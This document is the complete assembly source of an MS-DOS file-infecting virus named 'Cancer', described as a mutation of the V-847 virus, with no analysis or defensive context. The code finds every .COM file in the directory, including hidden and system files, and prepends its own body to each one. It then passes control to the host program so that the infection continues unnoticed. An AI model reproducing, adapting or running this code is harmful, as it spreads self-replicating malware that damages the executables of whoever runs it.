	page	,132
	name	CANCER
	title	Cancer - a mutation of the V-847 virus
	.radix	16
code	segment
	assume	cs:code,ds:code
	org	100

olddta	equ	80
virlen	equ	offset endcode - offset start
smalcod equ	offset endcode - offset transf
buffer	equ	offset endcode + 100
newdta	equ	offset endcode + 10
fname	=	newdta + 1E
virlenx =	offset endcode - offset start

start:
	jmp	cancer

ident	dw	'VI'
counter db	0
allcom	db	'*.COM',0
vleng	db	virlen
n_10D	db	3		;Unused
progbeg dd	?
eof	dw	?
handle	dw	?

cancer:
	mov	ax,cs		;Move program code
	add	ax,1000 	; 64K bytes forward
	mov	es,ax
	inc	[counter]
	mov	si,offset start
	xor	di,di
	mov	cx,virlen
	rep	movsb

	mov	dx,newdta	;Set new Disk Transfer Address
	mov	ah,1A		;Set DTA
	int	21
	mov	dx,offset allcom	;Search for '*.COM' files
	mov	cx,110b 	;Normal, Hidden or System
	mov	ah,4E		;Find First file
	int	21
	jc	done		;Quit if none found

mainlp:
	mov	dx,offset fname
	mov	ax,3D02 	;Open file in Read/Write mode
	int	21
	mov	[handle],ax	;Save handle
	mov	bx,ax
	push	es
	pop	ds
	mov	dx,buffer
	mov	cx,0FFFF	;Read all bytes
	mov	ah,3F		;Read from handle
	int	21		;Bytes read in AX
	add	ax,buffer
	mov	cs:[eof],ax	;Save pointer to the end of file

	xor	cx,cx		;Go to file beginning
	mov	dx,cx
	mov	bx,cs:[handle]
	mov	ax,4200 	;LSEEK from the beginning of the file
	int	21
	jc	close		;Leave this file if error occures

	mov	dx,0		;Write the whole code (virus+file)
	mov	cx,cs:[eof]	; back onto the file
	mov	bx,cs:[handle]
	mov	ah,40		;Write to handle
	int	21

close:
	mov	bx,cs:[handle]
	mov	ah,3E		;Close the file
	int	21

	push	cs
	pop	ds		;Restore DS
	mov	ah,4F		;Find next matching file
	mov	dx,newdta
	int	21
	jc	done		;Exit if all found
	jmp	mainlp		;Otherwise loop again

done:
	mov	dx,olddta	;Restore old Disk Transfer Address
	mov	ah,1A		;Set DTA
	int	21

	mov	si,offset transf	;Move this part of code
	mov	cx,smalcod	;Code length
	xor	di,di		;Move to ES:0
	rep	movsb		;Do it

	xor	di,di		;Clear DI
	mov	word ptr cs:[progbeg],0
	mov	word ptr cs:[progbeg+2],es	;Point progbeg at program start
	jmp	cs:[progbeg]	;Jump at program start

transf:
	push	ds
	pop	es
	mov	si,buffer+100
	cmp	[counter],1
	jne	skip
	sub	si,200
skip:
	mov	di,offset start
	mov	cx,0FFFF	;Restore original program's code
	sub	cx,si
	rep	movsb
	mov	word ptr cs:[start],offset start
	mov	word ptr cs:[start+2],ds
	jmp	dword ptr cs:[start]	;Jump to program start
endcode label	byte

	int	20		;Dummy program
	int	20		;???

	db	0		;Unused

code	ends
	end	start
 
